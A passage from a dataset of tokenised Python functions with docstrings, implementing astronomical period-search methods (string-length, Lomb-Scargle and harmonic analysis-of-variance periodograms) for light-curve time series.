work.\n\nUses the string length method in Dworetsky 1983 to calculate the period of a\ntime-series of magnitude measurements and associated magnitude\nerrors. Searches in linear frequency space (which obviously doesn't\ncorrespond to a linear period space).\n\nPARAMETERS:\n\ntime: series of times at which mags were measured (usually some form of JD)\nmag: timeseries of magnitudes (np.array)\nerr: associated errs per magnitude measurement (np.array)\ninit_p, end_p: interval to search for periods between (both ends inclusive)\nf_step: step in frequency [days^-1] to use\n\nRETURNS:\n\ntuple of the following form:\n\n(periods (np.array),\n string_lengths (np.array),\n good_period_mask (boolean array))", "id": "f14763:m1"}
{"signature": "def pwd_phasebin(phases, mags, binsize=<NUM_LIT>, minbin=<NUM_LIT:9>):", "body": "bins = np.arange(<NUM_LIT:0.0>, <NUM_LIT:1.0>, binsize)<EOL>binnedphaseinds = npdigitize(phases, bins)<EOL>binnedphases, binnedmags = [], []<EOL>for x in npunique(binnedphaseinds):<EOL><INDENT>thisbin_inds = binnedphaseinds == x<EOL>thisbin_phases = phases[thisbin_inds]<EOL>thisbin_mags = mags[thisbin_inds]<EOL>if thisbin_inds.size > minbin:<EOL><INDENT>binnedphases.append(npmedian(thisbin_phases))<EOL>binnedmags.append(npmedian(thisbin_mags))<EOL><DEDENT><DEDENT>return np.array(binnedphases), np.array(binnedmags)<EOL>", "docstring": "This bins the phased mag series using the given binsize.", "id": "f14763:m2"}
{"signature": "def pdw_worker(task):", "body": "frequency = task[<NUM_LIT:0>]<EOL>times, modmags = task[<NUM_LIT:1>], task[<NUM_LIT:2>]<EOL>fold_time = task[<NUM_LIT:3>]<EOL>j_range = range(task[<NUM_LIT:4>])<EOL>keep_threshold_1 = task[<NUM_LIT:5>]<EOL>keep_threshold_2 = task[<NUM_LIT:6>]<EOL>phasebinsize = task[<NUM_LIT:7>]<EOL>try:<EOL><INDENT>period = <NUM_LIT:1.0>/frequency<EOL>phased = phase_magseries(times,<EOL>modmags,<EOL>period,<EOL>fold_time,<EOL>wrap=False,<EOL>sort=True)<EOL>if phasebinsize is not None and phasebinsize > <NUM_LIT:0>:<EOL><INDENT>bphased = pwd_phasebin(phased['<STR_LIT>'],<EOL>phased['<STR_LIT>'],<EOL>binsize=phasebinsize)<EOL>phase_sorted = bphased[<NUM_LIT:0>]<EOL>mod_mag_sorted = bphased[<NUM_LIT:1>]<EOL>j_range = range(len(mod_mag_sorted) - <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>phase_sorted = phased['<STR_LIT>']<EOL>mod_mag_sorted = phased['<STR_LIT>']<EOL><DEDENT>rolledmags = nproll(mod_mag_sorted,<NUM_LIT:1>)<EOL>rolledphases = nproll(phase_sorted,<NUM_LIT:1>)<EOL>strings = (<EOL>(rolledmags - mod_mag_sorted)*(rolledmags - mod_mag_sorted) +<EOL>(rolledphases - phase_sorted)*(rolledphases - phase_sorted)<EOL>)<EOL>strings[<NUM_LIT:0>] = (<EOL>((mod_mag_sorted[<NUM_LIT:0>] - mod_mag_sorted[-<NUM_LIT:1>]) *<EOL>(mod_mag_sorted[<NUM_LIT:0>] - mod_mag_sorted[-<NUM_LIT:1>])) +<EOL>((phase_sorted[<NUM_LIT:0>] - phase_sorted[-<NUM_LIT:1>] + <NUM_LIT:1>) *<EOL>(phase_sorted[<NUM_LIT:0>] - phase_sorted[-<NUM_LIT:1>] + <NUM_LIT:1>))<EOL>)<EOL>strlen = npsum(npsqrt(strings))<EOL>if (keep_threshold_1 < strlen < keep_threshold_2):<EOL><INDENT>p_goodflag  = True<EOL><DEDENT>else:<EOL><INDENT>p_goodflag = False<EOL><DEDENT>return (period, strlen, p_goodflag)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>return(period, npnan, False)<EOL><DEDENT>", "docstring": "This is the parallel worker for the function below.\n\ntask[0] = frequency for this worker\ntask[1] = times array\ntask[2] = mags array\ntask[3] = fold_time\ntask[4] = j_range\ntask[5] = keep_threshold_1\ntask[6] = keep_threshold_2\ntask[7] = phasebinsize\n\nwe don't need errs for the worker.", "id": "f14763:m3"}
{"signature": "def pdw_period_find(times,<EOL>mags,<EOL>errs,<EOL>autofreq=True,<EOL>init_p=None,<EOL>end_p=None,<EOL>f_step=<NUM_LIT>,<EOL>phasebinsize=None,<EOL>sigclip=<NUM_LIT>,<EOL>nworkers=None,<EOL>verbose=False):", "body": "<EOL>find = npisfinite(times) & npisfinite(mags) & npisfinite(errs)<EOL>ftimes, fmags, ferrs = times[find], mags[find], errs[find]<EOL>mod_mags = (fmags - npmin(fmags))/(<NUM_LIT>*(npmax(fmags) - npmin(fmags))) - <NUM_LIT><EOL>if len(ftimes) > <NUM_LIT:9> and len(fmags) > <NUM_LIT:9> and len(ferrs) > <NUM_LIT:9>:<EOL><INDENT>median_mag = np.median(fmags)<EOL>stddev_mag = (np.median(np.abs(fmags - median_mag))) * <NUM_LIT><EOL>if sigclip:<EOL><INDENT>sigind = (np.abs(fmags - median_mag)) < (sigclip * stddev_mag)<EOL>stimes = ftimes[sigind]<EOL>smags = fmags[sigind]<EOL>serrs = ferrs[sigind]<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(sigclip, len(times), len(stimes)))<EOL><DEDENT>else:<EOL><INDENT>stimes = ftimes<EOL>smags = fmags<EOL>serrs = ferrs<EOL><DEDENT>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if init_p:<EOL><INDENT>endf = <NUM_LIT:1.0>/init_p<EOL><DEDENT>else:<EOL><INDENT>endf = <NUM_LIT:1.0>/<NUM_LIT:0.1><EOL><DEDENT>if end_p:<EOL><INDENT>startf = <NUM_LIT:1.0>/end_p<EOL><DEDENT>else:<EOL><INDENT>startf = <NUM_LIT:1.0>/(stimes.max() - stimes.min())<EOL><DEDENT>if not autofreq:<EOL><INDENT>frequencies = np.arange(startf, endf, stepsize)<EOL>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(frequencies.size, <NUM_LIT:1.0>/endf, <NUM_LIT:1.0>/startf)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>frequencies = get_frequency_grid(stimes,<EOL>minfreq=startf,<EOL>maxfreq=endf)<EOL>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(frequencies.size,<EOL><NUM_LIT:1.0>/frequencies.max(),<EOL><NUM_LIT:1.0>/frequencies.min())<EOL>)<EOL><DEDENT>fold_time = npmin(ftimes) <EOL>j_range = len(fmags)-<NUM_LIT:1><EOL>epsilon = <NUM_LIT> * npmean(ferrs)<EOL>delta_l = <NUM_LIT> * (epsilon - <NUM_LIT:0.5>*(epsilon**<NUM_LIT:2>)) * (len(ftimes) -<EOL>npsqrt(<NUM_LIT>/epsilon))<EOL>keep_threshold_1 = <NUM_LIT> + <NUM_LIT>*delta_l<EOL>l = <NUM_LIT>*len(ftimes)<EOL>sig_l = len(ftimes)/<NUM_LIT><EOL>keep_threshold_2 = l + <NUM_LIT>*sig_l<EOL>tasks = [(x,<EOL>ftimes,<EOL>mod_mags,<EOL>fold_time,<EOL>j_range,<EOL>keep_threshold_1,<EOL>keep_threshold_2,<EOL>phasebinsize) for x in frequencies]<EOL>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT>pool = Pool(nworkers)<EOL>strlen_results = pool.map(pdw_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>del pool<EOL>periods, strlens, goodflags = zip(*strlen_results)<EOL>periods, strlens, goodflags = (np.array(periods),<EOL>np.array(strlens),<EOL>np.array(goodflags))<EOL>strlensort = npargsort(strlens)<EOL>nbeststrlens = strlens[strlensort[:<NUM_LIT:5>]]<EOL>nbestperiods = periods[strlensort[:<NUM_LIT:5>]]<EOL>nbestflags = goodflags[strlensort[:<NUM_LIT:5>]]<EOL>bestperiod = nbestperiods[<NUM_LIT:0>]<EOL>beststrlen = nbeststrlens[<NUM_LIT:0>]<EOL>bestflag = nbestflags[<NUM_LIT:0>]<EOL>return {'<STR_LIT>':bestperiod,<EOL>'<STR_LIT>':beststrlen,<EOL>'<STR_LIT>':bestflag,<EOL>'<STR_LIT>':nbeststrlens,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':nbestflags,<EOL>'<STR_LIT>':strlens,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':goodflags}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None}<EOL><DEDENT>", "docstring": "This is the parallel version of the function above.\n\n    Uses the string length method in Dworetsky 1983 to calculate the period of a\n    time-series of magnitude measurements and associated magnitude errors. This\n    can optionally bin in phase to try to speed up the calculation.\n\n    PARAMETERS:\n\n    time: series of times at which mags were measured (usually some form of JD)\n    mag: timeseries of magnitudes (np.array)\n    err: associated errs per magnitude measurement (np.array)\n    init_p, end_p: interval to search for periods between (both ends inclusive)\n    f_step: step in frequency [days^-1] to use\n\n    RETURNS:\n\n    tuple of the following form:\n\n    (periods (np.array),\n     string_lengths (np.array),\n     good_period_mask (boolean array))", "id": "f14763:m4"}
{"signature": "def townsend_lombscargle_value(times, mags, omega):", "body": "cos_omegat = npcos(omega*times)<EOL>sin_omegat = npsin(omega*times)<EOL>xc = npsum(mags*cos_omegat)<EOL>xs = npsum(mags*sin_omegat)<EOL>cc = npsum(cos_omegat*cos_omegat)<EOL>ss = npsum(sin_omegat*sin_omegat)<EOL>cs = npsum(cos_omegat*sin_omegat)<EOL>tau = nparctan(<NUM_LIT:2>*cs/(cc - ss))/(<NUM_LIT:2>*omega)<EOL>ctau = npcos(omega*tau)<EOL>stau = npsin(omega*tau)<EOL>leftsumtop = (ctau*xc + stau*xs)*(ctau*xc + stau*xs)<EOL>leftsumbot = ctau*ctau*cc + <NUM_LIT>*ctau*stau*cs + stau*stau*ss<EOL>leftsum = leftsumtop/leftsumbot<EOL>rightsumtop = (ctau*xs - stau*xc)*(ctau*xs - stau*xc)<EOL>rightsumbot = ctau*ctau*ss - <NUM_LIT>*ctau*stau*cs + stau*stau*cc<EOL>rightsum = rightsumtop/rightsumbot<EOL>pval = <NUM_LIT:0.5>*(leftsum + rightsum)<EOL>return pval<EOL>", "docstring": "This calculates the periodogram value for each omega (= 2*pi*f). Mags must\nbe normalized to zero with variance scaled to unity.", "id": "f14763:m5"}
{"signature": "def townsend_lombscargle_wrapper(task):", "body": "try:<EOL><INDENT>return townsend_lombscargle_value(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This wraps the function above for use with mp.Pool.\n\ntask[0] = times\ntask[1] = mags\ntask[2] = omega", "id": "f14763:m6"}
{"signature": "def parallel_townsend_lsp(times, mags, startp, endp,<EOL>stepsize=<NUM_LIT>,<EOL>nworkers=<NUM_LIT:4>):", "body": "<EOL>finiteind = np.isfinite(times) & np.isfinite(mags)<EOL>ftimes, fmags = times[finiteind], mags[finiteind]<EOL>nmags = (fmags - np.median(fmags))/np.std(fmags)<EOL>startf = <NUM_LIT:1.0>/endp<EOL>endf = <NUM_LIT:1.0>/startp<EOL>omegas = <NUM_LIT:2>*np.pi*np.arange(startf, endf, stepsize)<EOL>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT>pool = Pool(nworkers)<EOL>tasks = [(ftimes, nmags, x) for x in omegas]<EOL>lsp = pool.map(townsend_lombscargle_wrapper, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>return np.array(omegas), np.array(lsp)<EOL>", "docstring": "This calculates the Lomb-Scargle periodogram for the frequencies\ncorresponding to the period interval (startp, endp) using a frequency step\nsize of stepsize cycles/day. This uses the algorithm in Townsend 2010.", "id": "f14763:m7"}
{"signature": "def parallel_townsend_lsp_sharedarray(times, mags, startp, endp,<EOL>stepsize=<NUM_LIT>,<EOL>nworkers=<NUM_LIT:16>):", "body": "", "docstring": "This is a version of the above which uses shared ctypes arrays for the times\nand mags arrays so as not to copy them to each worker process.\n\nTODO: we'll need to pass a single argument to the worker so make a 2D array\nand wrap the worker function with partial?\n\nFIXME: implement this later.", "id": "f14763:m8"}
{"signature": "def parallel_scipylsp_worker(task):", "body": "try:<EOL><INDENT>return lombscargle(*task)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a worker to wrap the scipy lombscargle function.", "id": "f14763:m9"}
{"signature": "def scipylsp_parallel(times,<EOL>mags,<EOL>errs, <EOL>startp,<EOL>endp,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>, <EOL>stepsize=<NUM_LIT>,<EOL>nworkers=<NUM_LIT:4>,<EOL>sigclip=None,<EOL>timebin=None):", "body": "<EOL>finiteind = np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[finiteind], mags[finiteind], errs[finiteind]<EOL>if len(ftimes) > <NUM_LIT:0> and len(fmags) > <NUM_LIT:0>:<EOL><INDENT>if sigclip:<EOL><INDENT>worktimes, workmags, _ = sigclip_magseries(ftimes,<EOL>fmags,<EOL>ferrs,<EOL>sigclip=sigclip)<EOL>LOGINFO('<STR_LIT>' % len(worktimes))<EOL><DEDENT>else:<EOL><INDENT>worktimes = ftimes<EOL>workmags = fmags<EOL><DEDENT>if timebin:<EOL><INDENT>binned = time_bin_magseries(worktimes, workmags, binsize=timebin)<EOL>worktimes = binned['<STR_LIT>']<EOL>workmags = binned['<STR_LIT>']<EOL><DEDENT>normmags = (workmags - np.median(workmags))/np.std(workmags)<EOL>startf = <NUM_LIT:1.0>/endp<EOL>endf = <NUM_LIT:1.0>/startp<EOL>omegas = <NUM_LIT:2>*np.pi*np.arange(startf, endf, stepsize)<EOL>tasks = []<EOL>chunksize = int(float(len(omegas))/nworkers) + <NUM_LIT:1><EOL>tasks = [omegas[x*chunksize:x*chunksize+chunksize]<EOL>for x in range(nworkers)]<EOL>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT>pool = Pool(nworkers)<EOL>tasks = [(worktimes, normmags, x) for x in tasks]<EOL>lsp = pool.map(parallel_scipylsp_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>lsp = np.concatenate(lsp)<EOL>periods = <NUM_LIT>*np.pi/omegas<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>bestperiodind = npargmax(finlsp)<EOL>sortedlspind = np.argsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>prevbestlspval = sortedlspvals[<NUM_LIT:0>]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > periodepsilon and<EOL>all(x > periodepsilon for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>return {'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':omegas,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':'<STR_LIT>'}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>'}<EOL><DEDENT>", "docstring": "This uses the LSP function from the scipy library, which is fast as hell. We\ntry to make it faster by running LSP for sections of the omegas array in\nparallel.", "id": "f14763:m10"}
{"signature": "def aovhm_theta(times, mags, errs, frequency,<EOL>nharmonics, magvariance):", "body": "period = <NUM_LIT:1.0>/frequency<EOL>ndet = times.size<EOL>two_nharmonics = nharmonics + nharmonics<EOL>phasedseries = phase_magseries_with_errs(<EOL>times, mags, errs, period, times[<NUM_LIT:0>],<EOL>sort=True, wrap=False<EOL>)<EOL>phase = phasedseries['<STR_LIT>']<EOL>pmags = phasedseries['<STR_LIT>']<EOL>perrs = phasedseries['<STR_LIT>']<EOL>pweights = <NUM_LIT:1.0>/perrs<EOL>phase = phase * <NUM_LIT> * pi_value<EOL>z = npcos(phase) + <NUM_LIT>*npsin(phase)<EOL>phase = nharmonics * phase<EOL>psi = pmags * pweights * (npcos(phase) + <NUM_LIT>*npsin(phase))<EOL>zn = <NUM_LIT:1.0> + <NUM_LIT><EOL>phi = pweights + <NUM_LIT><EOL>theta_aov = <NUM_LIT:0.0><EOL>for _ in range(two_nharmonics):<EOL><INDENT>phi_dot_phi = npsum(phi * phi.conjugate())<EOL>alpha = npsum(pweights * z * phi)<EOL>phi_dot_psi = npvdot(phi, psi)<EOL>phi_dot_phi = npmax([phi_dot_phi, <NUM_LIT>])<EOL>alpha = alpha / phi_dot_phi<EOL>theta_aov = (theta_aov +<EOL>npabs(phi_dot_psi) * npabs(phi_dot_psi) / phi_dot_phi)<EOL>phi = phi * z - alpha * zn * phi.conjugate()<EOL>zn = zn * z<EOL><DEDENT>theta_aov = ( (ndet - two_nharmonics - <NUM_LIT:1.0>) * theta_aov /<EOL>(two_nharmonics * npmax([magvariance - theta_aov,<EOL><NUM_LIT>])) )<EOL>return theta_aov<EOL>", "docstring": "This calculates the harmonic AoV theta statistic for a frequency.\n\n    This is a mostly faithful translation of the inner loop in `aovper.f90`. See\n    the following for details:\n\n    - http://users.camk.edu.pl/alex/\n    - Schwarzenberg-Czerny (`1996\n      <http://iopscience.iop.org/article/10.1086/309985/meta>`_)\n\n    Schwarzenberg-Czerny (1996) equation 11::\n\n        theta_prefactor = (K - 2N - 1)/(2N)\n        theta_top = sum(c_n*c_n) (from n=0 to n=2N)\n        theta_bot = variance(timeseries) - sum(c_n*c_n) (from n=0 to n=2N)\n\n        theta = theta_prefactor * (theta_top/theta_bot)\n\n        N = number of harmonics (nharmonics)\n        K = length of time series (times.size)\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input time-series to calculate the test statistic for. These should\n        all be of nans/infs and be normalized to zero.\n\n    frequency : float\n        The test frequency to calculate the statistic for.\n\n    nharmonics : int\n        The number of harmonics to calculate up to.The recommended range is 4 to\n        8.\n\n    magvariance : float\n        This is the (weighted by errors) variance of the magnitude time\n        series. We provide it as a pre-calculated value here so we don't have to\n        re-calculate it for every worker.\n\n    Returns\n    -------\n\n    aov_harmonic_theta : float\n        THe value of the harmonic AoV theta for the specified test `frequency`.", "id": "f14764:m0"}
{"signature": "def _aovhm_theta_worker(task):", "body": "times, mags, errs, frequency, nharmonics, magvariance = task<EOL>try:<EOL><INDENT>theta = aovhm_theta(times, mags, errs, frequency,<EOL>nharmonics, magvariance)<EOL>return theta<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a parallel worker for the function below.\n\nParameters\n----------\n\ntasks : tuple\n    This is of the form below::\n\n        task[0] = times\n        task[1] = mags\n        task[2] = errs\n        task[3] = frequency\n        task[4] = nharmonics\n        task[5] = magvariance\n\nReturns\n-------\n\nharmonic_aov_theta : float\n    The value of the harmonic AoV statistic for the test frequency used.\n    If something goes wrong with the calculation, nan is returned.", "id": "f14764:m1"}
{"signature": "def aovhm_periodfind(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=False,<EOL>startp=None,<EOL>endp=None,<EOL>stepsize=<NUM_LIT>,<EOL>autofreq=True,<EOL>normalize=True,<EOL>nharmonics=<NUM_LIT:6>,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>sigclip=<NUM_LIT>,<EOL>nworkers=None,<EOL>verbose=True):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if startp:<EOL><INDENT>endf = <NUM_LIT:1.0>/startp<EOL><DEDENT>else:<EOL><INDENT>endf = <NUM_LIT:1.0>/<NUM_LIT:0.1><EOL><DEDENT>if endp:<EOL><INDENT>startf = <NUM_LIT:1.0>/endp<EOL><DEDENT>else:<EOL><INDENT>startf = <NUM_LIT:1.0>/(stimes.max() - stimes.min())<EOL><DEDENT>if not autofreq:<EOL><INDENT>frequencies = nparange(startf, endf, stepsize)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(frequencies.size, <NUM_LIT:1.0>/endf, <NUM_LIT:1.0>/startf)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>frequencies = get_frequency_grid(stimes,<EOL>minfreq=startf,<EOL>maxfreq=endf)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(frequencies.size,<EOL><NUM_LIT:1.0>/frequencies.max(),<EOL><NUM_LIT:1.0>/frequencies.min())<EOL>)<EOL><DEDENT><DEDENT>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT><DEDENT>pool = Pool(nworkers)<EOL>if normalize:<EOL><INDENT>nmags = (smags - npmedian(smags))/npstd(smags)<EOL><DEDENT>else:<EOL><INDENT>nmags = smags<EOL><DEDENT>magvariance_top = npsum(nmags/(serrs*serrs))<EOL>magvariance_bot = (nmags.size - <NUM_LIT:1>)*npsum(<NUM_LIT:1.0>/(serrs*serrs)) / nmags.size<EOL>magvariance = magvariance_top/magvariance_bot<EOL>tasks = [(stimes, nmags, serrs, x, nharmonics, magvariance)<EOL>for x in frequencies]<EOL>lsp = pool.map(_aovhm_theta_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>del pool<EOL>lsp = nparray(lsp)<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':nharmonics,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period) for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>return {'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':nharmonics,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':nharmonics,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>", "docstring": "This runs a parallelized harmonic Analysis-of-Variance (AoV) period\n    search.\n\n    NOTE: normalize = True here as recommended by Schwarzenberg-Czerny 1996,\n    i.e. mags will be normalized to zero and rescaled so their variance = 1.0.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The mag/flux time-series with associated measurement errors to run the\n        period-finding on.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float or None\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    autofreq : bool\n        If this is True, the value of `stepsize` will be ignored and the\n        :py:func:`astrobase.periodbase.get_frequency_grid` function will be used\n        to generate a frequency grid based on `startp`, and `endp`. If these are\n        None as well, `startp` will be set to 0.1 and `endp` will be set to\n        `times.max() - times.min()`.\n\n    normalize : bool\n        This sets if the input time-series is normalized to 0.0 and rescaled\n        such that its variance = 1.0. This is the recommended procedure by\n        Schwarzenberg-Czerny 1996.\n\n    nharmonics : int\n        The number of harmonics to use when calculating the AoV theta value at a\n        test frequency. This should be between 4 and 8 in most cases.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    nworkers : int\n        The number of parallel workers to use when calculating the periodogram.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an 